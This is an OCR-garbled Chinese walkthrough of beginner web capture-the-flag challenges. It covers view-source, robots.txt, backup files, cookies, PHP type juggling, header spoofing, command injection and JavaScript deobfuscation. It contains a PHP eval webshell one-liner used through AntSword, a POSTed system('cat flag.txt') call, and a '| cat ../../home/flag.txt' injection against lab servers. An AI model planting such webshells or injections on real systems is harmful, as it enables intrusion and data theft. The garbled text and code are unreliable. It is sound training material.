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2. cyberpeace{80816c5d107e33f3103324c8c4de1d91} B N AT E ki Kiflag.

R Oz D DedE Nws (Iesmess Qo Owe Bei § cEstks 3 uE2s @ Hackear

Q3 HTML + A viEER
<IDOCTYPE html> 7w O
<html lang="en"> event }

P <head> (s~ </head>

P <script>l=l</scripty>
<h1>FLAG is not here</hi>
<!--cyberpeace{80816c5d187e33f3103324¢c8c4deld91}-->
</body>
</html>

html > body
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FE O T url 5 T 11 view- source:
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75 4.

1.0 B2 25 Fjs (RN Ba 28 )

2 EHHERE SN about:config m iy EIZEEE
3. T R AR

BRI % javascript.enabled

4. RAFHRE—/ Javascript.enabled B A UIHE HtrundE Atfalseli 5 5 B 4% 1.

S sAuE. | umErsEs @ FEE BRERL @uREn @ Get the pikachu

thov cls + (@

PR

[ eahiniE LHE

Q, java
browser.urlbar filter.javascript true
Jjavascript.enabled false
Jjavascript.options.asmjs true
Jjavascript.options.asyncstack true
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()3 & & © & 111.200.241.244:37221 /robots.txt

S SABE.. | BuamEsss @ HiFxtk At O srssE

User—-agent: *
Disallow:
Disallow: flag 1s_h3re.php

2 £ M T un G 1 Es X AN php SCHF 42, U518 E g Hflag.
© =8 L i ! X | 111.200.241.244:37221/f1ag 1s X

(&<)> & @ © £ 111.200.241.244:37221/f1ag_1s_h3re.php
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1. 2—Z2REHANXGRES, RIUZ .bak;
2 EM T urlf5 H# N /index.php.bak ;
S| b4 | 404 Not Found X I +

« > C o Q_ 111.200.241.244:54835/index.php.bak

s H%. | OMIEsEs @ FFtk xR @ RraE

Not Found

Che requested URL / index.php.bak was not found on this server.

{pache/2.4.7 (Ubuntu) Server at 111.200.241.244 Port 54835

ARl AZDIREES Y S ER AT DM R

requested URL / index.php.bak was not found on this server.

che/2.4 7 index.php.bak - inZa -
ITHHF) (R EEN(0) =E(V) FEEH)
|<html>
<head>
<meta charset="UTF-8">
<title>#Z 34 < ftitle>
<link href="http://libs.baidu.com/bootstrap/3.0.3/css/bootstrap.min.css" rel="stylesheet" />
<style>
body{
margin-left:auto;
margin-right:auto;
margin-TOP:200PX;
width:20em;
}
</style>
</head>
<body>
<h3>{REli&index.phplHEMH 4= 018? </h3>
<?php
$flag="Cyberpeace{855A1C4B3401294CB6604CCCI8BDE334}"
7>
</body>
</html>

BT, /1A 100% Windows (CRLF)  UTF-8
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~ B cookie T mETEss + G B VimEE

® http://111.200.241.244:42621 = & Domain Path Expires / Max-Age K HttpOnly Secure Samesite 5= v BiR

» E Indexed DB look-here cookie.php 111.200241.244  / =i None ROCHERVETPl AR BRI ~ look-here: “cookiephp”
Domain: *111.200.241.244"
» A
a Expires / Max-Age: "25&"
v B aEEn HostOnly: true
» B s HttpOnly: false

Path: */*

SameSite: "None”

Secure: false
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B cookie YV EE

BIR =1 Domain Path Expires / Max-Age K HttpOnly Secure SameSite EEiHE
E Indexed DB look-here cookie.php 111.200.241.244 / BiE 19 false false
[SESL=
B aimiznt
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None Tue, 09 M

4 FEM L — I HEEE cookie.php KIEIER, 7EVH B k—A=Fdata T 7B AN EHKKflag
cyberpeace{10b877df52e8426bc4336e90c2ca4dc6e}.
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W W igiE URL I Q ©® ®#E HIML S8 JS XHR =t B @ik WS m@  [z@gs Fom: 3

s HiE S praty por =5 54 pNAN Cookie HX W #AT

i 111.200.241.244:4...  cookie.php document 578 F15 (BrsE) 411 i

=t
Content-Length: 253
Content-Type: text/html
Date: Tue, 09 Mar 2021 12:07:39 GMT
flag: cyberpeace{10b877df52e8426bc4336e90c2cadcbe}
Keep-Alive: timeout=5, max=100
Server: Apache/2.4.7 (Ubuntu) 1

w2 =E B& BR EE S XHR BRI X

GET # 111.200.241.244:4... favicon.ico FaviconLoaderjsm:19... html B 29257

O 2AMER EEMmT703FT5 /5781 s=Ak: 386 =RD DOMContentLoaded: 291 =¥ load: 305 =¥
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b GET http://111.200.241.244:42621/favicon.ico
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Q &3 HTML + A VisEs chov ds + @ B #wF dEE FH 0 FH  HE
</style> ATE O PR A o oaspra ~
</head> 3
¥ <body> *, ::before, ::after £F { bootstrap.min.css:7 BEE—MBIE (Flex) BRI,
<h3>— - TEHFARR </ 3> ——— e .
w <form action-"" method-"" e L
<input class="btn btn-defeult” disabled="" style="height:5@px;uidthi20@px;" type="submit” value="flag" name="auth”> N box-sizing: border-box; TSR CSS [TiS
</form>
</body> 7 body v SR
</html> Y body 3 { bootstrap.min.css:7
html > body > form font-family: "Helvetica v v
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#ix TE BE BR Bl css XHR @R I X
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<htnl> Ny pTE N mis o
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¥ <body> HTE

PHE—NEIE (Flex) BFELIMELISEE,

<hB>—TRERANRHE</ 3>

b R PIR:

v <form action="" method="post"> height: sepx; ~ FaiE
btn btn-default” dissbled="" style"height:50px;uidth:208px;" type="submit” value="flag" name="auth"> uidth: 260px; R CSS
</form> ¥
<h3>cyberpeace{a6@e97e580e25322ee22fc4034fef86a}</h3> .btn-default.disabled, .btn- bootstrap.min.css:7 v S8R
</body> o default[disabled],
fieldset[disabled] .btn-default, .btn-
html > body » form » inputbtn.btn-default default.disabled:hover, .btn- . .
Aofomdtldicoblodlabovan, Lioldoos[d: manmin -]
W 7w

w2 = BT BE B S XHR ER 3 X
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JRE

§5 14 (weak password) B0 ™ RIAER HE S @R INABEZPAN ATHE FTREXTRIR 78D 580 2 B as i T B i o
LYATHHL . FHOLEHRNE SR A FMFRIOL, Bl 1237, “abc ",
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1. BEAE S\ P A2 A 3R n Z Fadminf P B

please login as admin
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007 simple_php
JR#

phpdsk, ERRKEANTZEZBRBMHERXEF LR, WL ALFE N ERMHRAMEHBMERAASEREE. is_numeric($num)E =
TR num 2 BF B 7/ R Fltrue, 75 WK [Flfalse .
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<?php

show_source(_FILE );
include (“config. php”) ;

$a=@$ GET[ a’];
$b=@$ GET['b’ 1;

if(8a==0 and $a){
echo $flagl;

}

if(is_numeric ($b)) {

echo $flag2;

exit();
}
if ($b>1234) {
}
2

1T E T, KIFERBEL $a==0 M ga i, Eixflagi.

2.phpH I §5R B L & ff’abc’ == 08K, FrblfiiANa=abcht, A[f3Zlflagl (abcr #BAERFRT) .

3AEM T url /& H¥# N /index.php?a=abe Vi A LM BT, BW] RILEATER Kiflag.
U Z 111.200.241.244:48708/index.php?a=abc
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S) SAHE... | B xaiesEs @ FiFxtkE EAERn @ =raE

<?php

show source( FILE ):

include ("config. php”) ;

$a=@8_GET[ a’ ];

$b=@$ GET['b’ ]:

if(8a==0 and $a){
echo $flagl;

}

if (is_numeric($b)) {
exit():
}

if($b>1234) {
echo $flag?2;
}

s
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& split URL

® Execute

[ Postdata [J Referer [] User Agent [] Cookies  AddHeader  Clear All

3./4)i%&Post data, 34 b=2 , 7 Execute , EPRRIMBATEIRKflag. cyberpeace{4d7b677cdfd350039e50fc89c4341322}
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‘ (® Execute

Postdata [] Referer [] User Agent [] Cookies  AddHeader  Clear All

b=2

%2 waEs @ HackBar

H  Upgrade-Insecure-Requests: 1
H  Connection: keep-alive

H  Accept-Enceding: gzip, deflate
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009 xff_referer

JRHE:

X-Forwarded-For: @i #xXFF3k, BRERE 4, HHRHTTPRIERFESLZNIP, RAEED THTTP QB B 7 iRk ¥4 iRk 5528
FE&VINZET. HTTP Refererheaderf)—#45, 43 W38 mweb R %55 K ik iE R, —k<H EReferer, &HiFRERR
RN TR R, ARSI AT AR — s B T AL,

Tik:

ipthhibAZnc123.123.123.123

1.f# Fburpsuitedl 2, fEkhttpsk A X-Forwarded-For ,7E#E R X-Forwarded-For: 123.123.123.123 ;
243 3ma R, RIVEERB /I, HERSEAEERKLHNBI Referer: https://www.google.com o



Burp Suite Community Edition v2020.12.1 - Temporary Project

Burp Project Intruder Repeater Window Help

Dashboard Target Proxy Intruder Repeater Sequencer Decoder Comparer Extender Project options User options

1 x

Bl - (< Target: http://111.200.241.244:41530 7 (2)
anB = =

Request =

Pretty IGEOM \n  Actions v

1 GET / HITP/1.1

2 Host: 111.700.241.244:-41530

2 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win&4; x€4; rv:86.0) Gecko/Z010010l1 Firefox/8&.0
4 Accept: text/html,application/xhtmltxml,application/xml;q=0.9,image/webp,*/*;q=0.8
S Accept-Language: zh-CN,zh;q=0.8,zh-TW,;q=0.7,2zh-HK ;q=0.5,en-US;q=0.3,en;q=0.2

€ Accept-Encoding: gzip, deflate

7 Connection: close

2 Upgrade-Insecure-Requests: 1

% X-Forwarded-For:123.123.123.123

10 Referer: https://www.google.com

11l Cache-Control: max-age=0

HO.1D3dSNI

@{@} €[] | Search.. 0 matches
Response
Raw Render \n Actions v
23 </head>
24 <body>
2s <p id="demo">
ip00DO0L22.122.123.123
</p>
2¢ <script»
document . get ElementById("demo") . innerHTML="0000https: //www.google.com" ;
</script>
<script>
document . getElementById("demo") . innerHTML="cyberpeace (Jeelc35520202ddE77898a62£37640432)";
</script>
</body>
27 </html>
@@l(—H—)H Search.. | 0 matches
Done 43 bytes | 85 miliis

3.cyberpeace{2ee2c35520202ddf77898a62f3764043} Bl AATE K Kiflag .
010 webshell
JR

MRS EARTRIR, 4B b e —RiEAR S, SRG /R AT DAFE A i@ i H B 31 7] chopper.exe Bl AT SR UM il A Y i H
o @FNEHBEHRATHIR, BARE. eval O RERFESHNRBEQTFRHFHMH2NEMIEHAFEHT. $_POST[attack’]

F MU 3k Battacki XN S 2 H -
TikA:

{F&{ERwebshelllg?

<?php @eval($_POST[shell]);?>



1EBHEAT —HWEARD, ZELEIA shell ;
2R s ER:, Bia, “BIndE,
@ rEEsl

AntSword TBE BLO #Eif

« =

TEM TR urlf5 AN /index. php |, m o MR E

- ekt
= HigER (0) w5 %R (2)
URLA gy O FAEE -9X omm  AEsA
OFm X ET O MEE O B
B Eahi s v [0 20210310
URLHt b = http://111.200.241.244:31792/index.php
EEED < [shell
Pk
HPIEE UTF8 v
FEEHRE PHP v
) default (T375)
' random (T #7%)
) base64 .
2 EkiES ~

O >
>

& i
o
(0)

SEEINGE, RE"INEEE"TEA ARG, AT EMS R THEES flag. txt K304, REEIATRIRATEZR K
flag cyberpeace{d0cd04ece3bdd323e226055e04acd3c6}.

@ +Eus
AntSword #RiE wO #E

¢ B [£111.200.241.244

= {55

0 B3 (0) < | D x#HdER(2)
=/ oOFHE v 4 LE 2 R # ITBR niE ~ fvar/www/html/
=
var B = Foh
= www
@ flag.txt 2021-03-10 10:27:02 44 b
= himl =

index.php 2018-00-27 04:02:04 539 b

> 1BH
Bt

0664

0664




13F1288 T A FF R E TR
2./8]i% post data;

{R&{ERwebshell3?

<?php @eval($_POST['shell]);?>

O Oz Des DEse NRs Oatssr Ouwe Orr Bek + Tesns 8 UEes @ Hacksar 0] e X
~
Encryption ~ Encoding~ SQL~ XSS~ LFl~ XXE~ Other ~ Commit now! HackBar v2
€8 Load URL http://111.200.241.244:31792/
K spiit URL
® Execute

Postdata [] Referer [] User Agent [] Cookies Add Header Clear All

W v oses wR = He /A A4 S XHR @R R X

3.fEfpostt¥ S shell=system('cat flag.txt') , BPAIRILFAIEIRAIMag.
cyberpeace{d79db190eaac2fc9f3c398720832a143}

011 command_execution

JRE .

WebR B &4 (WHRA: M SHAZNRPIH RS . JFX: Web Application Firewall, f&#k: WAF) .

WAF Xt 35k H Web S 72 7 25 7 3 B %5 2818 SR IEAT A BRI AIIE, #ARHZEM 568N, IEERER T CASCrBEE, AT
Xof % Ik ik AT A B

| KIYE R KT — N S A R B S F— N S 1E RN

S&HITER R BT — K S PAT RTINS, APATE—Fwm 4.

st S HFEREETI/EERTZAR GIHBM TR X4 ETEHR)

cat 4 F T EE ST EN Blbr i & b

pingfe E LM & BAER —NEEFE. pingHRFMAN SME R —FHNZBREAEKFS, WRREEENZEping s
W, WRFXHEE EV SRR ER.

Ttk



IS W oa 111.200.241.244:5/ 190

S ersE.. | Buesns @ FELE D smEmn @ sre

PING

BN ESEpinghhht

PING

1.PAT —Apingr — N H A Ay K, 7T LLREE 22487 B 3 T 30
2—HBBFL—ZEFE1 | 1s ../, HIEKI home XMHH ¥ flag. txt ;
3. Hcatir 4T Fflag>c#E ,1 |cat ../../../../home/flag.txt & Fflag.

012 simple_js
JE .
javascripti A5 & it
Tk



Enter password

hitps:/fblog.csdn.net/m0_55854679

1HEE@MA—BED, WEE2FARHE AT RcAE, T8 WmIEAL;
2T RIBEN, RAMCMAMTAHSBBBREL, EFEGAMT fromCharCode o

<html>
<head>
<titlerJS</title>
{seript type="text/javascript”>
function dechiffre (pass_enc) {
var pass = "70, 65, 85, 88, 32, 80, 65, 83, 83, 87, 79, 82, 68, 32, 72, 65, 72,65";
var tab = pass_enc.split(’,’);
var tab2 = pass.split(’,’);var i, j,k 1=0,m,n,0,p = ””;i = 0;j = tab. length;
k=3j+ (1) + (n=0);
n = tab2. length;
j =n); i++ ) {o = tab[i-1];p += String. fromCharCode((o = tab2[i]));
for(i = (0=0); i j=n); i+ ){
o = tab[i-1];
if(i > 5 &k i < k-1)
p += String. fromCharCode ((o = tab2[i]));

p += String. fromCharCode (tab2[17]) ;
pass = p;return pass;

}

String[“fromCharCode”] (dechiffre ({¥S x2c\x! 2c\, x39\x2c \x31\x31\x35\ \x31\x31\x34\x2c\x3 x2c\x31\x30\x

h = window. prompt (" Enter password’);
alert( dechiffre(h) ):

</seript>
</head>

</html>

=S R PR

3K Apythonib 3, 18 BI%4[55,56,54,79,115,69,114,116,107,49,50];

4. KB BMEHHchr()R U, WB3F/FHE7860sErk12, #Mitflagit=, BIR1ERIRAIFTERKag
cyberpeace{7860sErtk12},
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